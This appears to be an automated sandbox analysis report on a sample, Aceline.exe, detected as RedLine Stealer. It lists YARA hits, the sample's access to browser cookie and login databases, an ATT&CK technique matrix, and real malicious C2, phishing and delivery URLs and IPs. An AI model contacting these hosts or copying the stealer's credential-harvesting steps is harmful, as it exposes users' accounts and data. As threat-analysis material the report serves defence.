Source: Yara match	File source: 13.2.Aceline.exe.26b45750000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Aceline.exe.7ff421c4128d.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2113198177.0000026B3D1B9000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2114186141.0000026B45750000.00000004.10000000.00040000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2114653589.00007FF421C40000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Aceline.exe PID: 8164, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Source: Yara match	File source: 13.2.Aceline.exe.26b45750000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Aceline.exe.26b3d1b9ac0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Aceline.exe.7ff421c4128d.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Aceline.exe.26b3d1b9ac0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Aceline.exe.26b45750000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Aceline.exe.7ff421c4128d.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2113198177.0000026B3D1B9000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2114186141.0000026B45750000.00000004.10000000.00040000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2114653589.00007FF421C40000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Aceline.exe PID: 8164, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: 13.2.Aceline.exe.26b45750000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Aceline.exe.26b3d1b9ac0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Aceline.exe.7ff421c4128d.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Aceline.exe.26b3d1b9ac0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Aceline.exe.26b45750000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Aceline.exe.7ff421c4128d.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2113198177.0000026B3D1B9000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2114186141.0000026B45750000.00000004.10000000.00040000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2114653589.00007FF421C40000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Aceline.exe PID: 8164, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	211 Windows Management Instrumentation	1 Scripting	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	114 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	2 Browser Extensions	1 Extra Window Memory Injection	1 Abuse Elevation Control Mechanism	Security Account Manager	311 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	2 Registry Run Keys / Startup Folder	311 Process Injection	1 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	2 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	341 Virtualization/Sandbox Evasion	SSH	Keylogging	5 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	341 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	311 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Source	Detection	Scanner	Label	Link
http://gogocharters.com/lexington-charter-bus	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://browngreencolors.top/miranda/few	100%	Avira URL Cloud	malware
https://septembergoodwine.top/frendly/manchester	100%	Avira URL Cloud	malware
http://tls-tunnel-check.googlezip.net/connect	0%	Avira URL Cloud	safe
https://browngreencolors.top	100%	Avira URL Cloud	malware
https://septembergoodwine.top	100%	Avira URL Cloud	malware
http://144.172.101.228:9000/wmglb	0%	Avira URL Cloud	safe
https://myvocabulary.com/ajax.php?	100%	Avira URL Cloud	phishing
http://144.172.101.228:9000/wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F	0%	Avira URL Cloud	safe
https://googleusercontent.comForcedOn_RemoteCopyReceiverForcedOff_RemoteCopyReceiverRemotePageAndSal	0%	Avira URL Cloud	safe
http://tls-tunnel-check.googlezip.net/connect2	0%	Avira URL Cloud	safe
https://tunnel-staging.googlezip.net/	0%	Avira URL Cloud	safe
https://clients.contology.com/captcha/ajax.php?	100%	Avira URL Cloud	malware
https://googleusercontent.comb	0%	Avira URL Cloud	safe
https://tunnel-staging.googlezip.net/2	0%	Avira URL Cloud	safe
https://www.privacysandbox.comb	0%	Avira URL Cloud	safe
https://www.privacysandbox.com	0%	Avira URL Cloud	safe
https://www.privacysandbox.comForcedOn_PrivacySandboxSettingsForcedOff_PrivacySandboxSettingsBlockIn	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
clients.contology.com	50.57.243.90	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
psee.io	34.239.236.43	true	false	high
septembergoodwine.top	104.21.16.1	true	false	unknown
beacons-handoff.gcp.gvt2.com	142.250.141.94	true	false	high
ia-robotics.com	70.40.216.191	true	false	unknown
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
browngreencolors.top	172.67.146.180	true	false	unknown
stats.g.doubleclick.net	142.250.101.156	true	false	high
gogocharters.com	18.188.153.65	true	false	unknown
youtube-ui.l.google.com	142.251.2.93	true	false	high
analytics-alv.google.com	216.239.32.181	true	false	high
googleads.g.doubleclick.net	142.251.2.154	true	false	high
bitly.cx	104.21.91.178	true	false	high
myvocabulary.com	54.175.154.40	true	true	unknown
www.google.com	142.250.101.105	true	false	high
td.doubleclick.net	142.250.101.156	true	false	high
api.ipify.org	172.67.74.152	true	false	high
epsilon.6sense.com	75.2.108.141	true	false	high
e212585.b.akamaiedge.net	23.43.51.47	true	false	high
ib.anycast.adnxs.com	104.254.151.60	true	false	high
e212585.dscb.akamaiedge.net	23.43.51.47	true	false	high
c.6sc.co	unknown	unknown	false	high
beacons.gcp.gvt2.com	unknown	unknown	false	high
secure.adnxs.com	unknown	unknown	false	high
b.6sc.co	unknown	unknown	false	high
analytics.google.com	unknown	unknown	false	high
j.6sc.co	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
ipv6.6sc.co	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://bitly.cx/F4PyN	false		high
https://browngreencolors.top/miranda/few	false	Avira URL Cloud: malware	unknown
https://septembergoodwine.top/frendly/manchester	false	Avira URL Cloud: malware	unknown
https://myvocabulary.com/ajax.php?	true	Avira URL Cloud: phishing	unknown
http://144.172.101.228:9000/wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F	true	Avira URL Cloud: safe	unknown
http://144.172.101.228:9000/wmglb	true	Avira URL Cloud: safe	unknown
https://c.6sc.co/	false		high
https://clients.contology.com/captcha/ajax.php?	true	Avira URL Cloud: malware	unknown
https://ia-robotics.com/captcha/	false		unknown
https://gogocharters.com/lexington-charter-bus	false		unknown
https://psee.io/7m2yhx	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com/coacbE	chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false		high
https://septembergoodwine.top	powershell.exe, 00000009.00000002.1749078220.00000000052A3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://google-ohttp-relay-join.fastly-edge.com/Enabled_Consent_MPArch_M1_XS_Delay_GA4Kids_limited_2	chrome.exe, 0000000E.00000002.2057335305.00001190012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087486697.00001460012FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://browngreencolors.top	powershell.exe, 00000009.00000002.1749078220.0000000005242000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://google-ohttp-relay-join.fastly-edge.com/S1	chrome.exe, 00000011.00000003.2127746299.00004C58012A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://a.nel.cloudflare.com/report/v4?s=uxOUYXwrMudqBBBcAmYXet3tH6%2BV%2F3Hj7B8W3QM9Ry1czkVTMK10lq1	powershell.exe, 00000009.00000002.1749078220.00000000052A3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelphZ	powershell.exe, 00000009.00000002.1749078220.0000000005AA3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1749078220.0000000005A85000.00000004.00000800.00020000.00000000.sdmp	false		high
http://dns-tunnel-check.googlezip.net/connect	chrome.exe, 0000000E.00000002.2056937755.000011900122C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087087518.000014600122C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000009.00000002.1749078220.0000000004FF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tls-tunnel-check.googlezip.net/connect	chrome.exe, 0000000E.00000002.2056937755.000011900122C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087087518.000014600122C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/(B	chrome.exe, 0000000E.00000002.2057625057.00001190013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087814030.00001460013A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000009.00000002.1750643154.000000000604C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-safebrowsing.fastly-edge.com/b	chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/)?	chrome.exe, 0000000E.00000002.2057625057.00001190013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087814030.00001460013A4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000009.00000002.1749078220.0000000004FF1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://a.nel.cloudflare.com/report/v4?s=V2ZF%2B0DOVXqhAridHgV2wazVokRgzPeNa4LR6H52u4R5Ik%2FybgSDzuZ	powershell.exe, 00000009.00000002.1749078220.000000000523A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1749078220.0000000005227000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1749078220.00000000052A3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Enabled_Notice_MPArch_M1_XS_Delay_GA4Kids_20230926	chrome.exe, 0000000E.00000002.2057335305.00001190012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087486697.00001460012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129557092.00004C5801344000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129153008.00004C5801324000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129447739.00004C5801334000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2128822420.00004C580130C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129065346.00004C5801314000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Control_Consent_SharedStorage_Old_limited_Stable_202	chrome.exe, 0000000E.00000002.2057625057.00001190013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087814030.00001460013A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000009.00000002.1749078220.000000000541B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1749078220.0000000005AA3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1749078220.0000000005A85000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000009.00000002.1749078220.0000000005144000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000009.00000002.1749078220.00000000052A3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000009.00000002.1749078220.0000000005144000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/~7	chrome.exe, 00000011.00000003.2129153008.00004C5801324000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/https://google-ohttp-relay-join.fastly-edge.com/X:	chrome.exe, 0000000E.00000002.2057335305.00001190012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087486697.00001460012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129153008.00004C5801324000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2128822420.00004C580130C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129065346.00004C5801314000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chromesuggestionsJK	chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000009.00000002.1750643154.000000000604C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://dns-tunnel-check.googlezip.net/connect2	chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/?p=blockedb	chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tls-tunnel-check.googlezip.net/connect2	chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://googleusercontent.comForcedOn_RemoteCopyReceiverForcedOff_RemoteCopyReceiverRemotePageAndSal	chrome.exe, 0000000E.00000002.2058346995.0000119001450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2088591946.0000146001450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000002.2144914091.00004C5801450000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/coac	chrome.exe, 0000000E.00000002.2062483604.0000119001A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2098265781.0000146001A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000002.2148996080.00004C5801A70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000009.00000002.1749078220.0000000005144000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chromesuggestionsenable-suggestions-service	chrome.exe, 0000000E.00000002.2061764648.0000119001994000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2096055959.0000146001994000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000002.2148449499.00004C5801994000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Enabled_Notice_HoldbackTopics_Stable_20230926_Androi	chrome.exe, 00000011.00000003.2127956062.00004C58012C0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/e&	chrome.exe, 0000000E.00000002.2056322361.00001190011B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2086387899.00001460011B0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/https://google-ohttp-relay-join.fastly-edge.com/y&	chrome.exe, 0000000E.00000002.2057131461.0000119001278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087274773.0000146001278000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-safebrowsing.fastly-edge.com/	chrome.exe, 00000011.00000002.2144914091.00004C5801450000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro	powershell.exe, 00000009.00000002.1748128722.000000000334D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/2J	chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000009.00000002.1749078220.00000000052A3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chromesuggestionsJ	chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/b	chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.privacysandbox.com	chrome.exe, 0000000E.00000002.2057625057.00001190013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087814030.00001460013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2130693371.00004C58013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2130759043.00004C58013B4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/ForcedOn_InterestFeedV2ForcedOff_InterestFeedV2IntersectionOptimizationInters	chrome.exe, 0000000E.00000002.2054231637.0000119000F18000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/	chrome.exe, 0000000E.00000002.2054231637.0000119000F18000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nonexistent.googlezip.net/OfflinePagesPrefetchingForcedOn_OfflinePagesPrefetchingOfflinePage	chrome.exe, 0000000E.00000003.2037264301.0000119001040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2055268140.0000119001048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2053209181.0000146001040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2088885306.00004C5801040000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Enabled_Notice_HoldbackFledge_Stable_20230926_Androi	chrome.exe, 0000000E.00000002.2057335305.00001190012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087486697.00001460012FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/?p=blockedIncompatibleApplicationsWarningIncreaseCoookieAccesCache	chrome.exe, 0000000E.00000002.2054231637.0000119000F18000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000009.00000002.1750643154.000000000604C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/https://google-ohttp-relay-join.fastly-edge.com/N.	chrome.exe, 0000000E.00000002.2057131461.0000119001278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087274773.0000146001278000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-safebrowsing.fastly-edge.com/https://google-ohttp-relay-safebrowsing.fast	chrome.exe, 0000000E.00000002.2058346995.0000119001450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2088591946.0000146001450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000002.2144914091.00004C5801450000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chromesuggestionsForced_disabled_androiddisable-suggestions-service	chrome.exe, 0000000E.00000002.2061764648.0000119001994000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2096055959.0000146001994000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000002.2148449499.00004C5801994000.00000004.00000800.00020000.00000000.sdmp	false		high
http://go.micros	powershell.exe, 00000009.00000002.1749078220.0000000005779000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/E=	chrome.exe, 00000011.00000003.2129998035.00004C580134C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.privacysandbox.comForcedOn_PrivacySandboxSettingsForcedOff_PrivacySandboxSettingsBlockIn	chrome.exe, 0000000E.00000002.2057625057.00001190013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087814030.00001460013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2130693371.00004C58013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2130759043.00004C58013B4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/Control_Consent_SharedStorage_limited_Stable_2023080	chrome.exe, 0000000E.00000002.2057625057.00001190013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087814030.00001460013A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000009.00000002.1750643154.000000000604C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/coacEnableFullscreenAppListEnablePlayStoreAppSearchEnableEverythingProduction	chrome.exe, 0000000E.00000002.2062483604.0000119001A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2098265781.0000146001A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000002.2148996080.00004C5801A70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Preperiod2_ROW_GA_CrossAppWebAra_AndroidT_5_percent_	chrome.exe, 0000000E.00000002.2057335305.00001190012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087486697.00001460012FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tunnel-staging.googlezip.net/	chrome.exe, 0000000E.00000002.2056937755.000011900122C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087087518.000014600122C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://googleusercontent.com	chrome.exe, 0000000E.00000002.2058346995.0000119001450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2088591946.0000146001450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000002.2144914091.00004C5801450000.00000004.00000800.00020000.00000000.sdmp	false		high
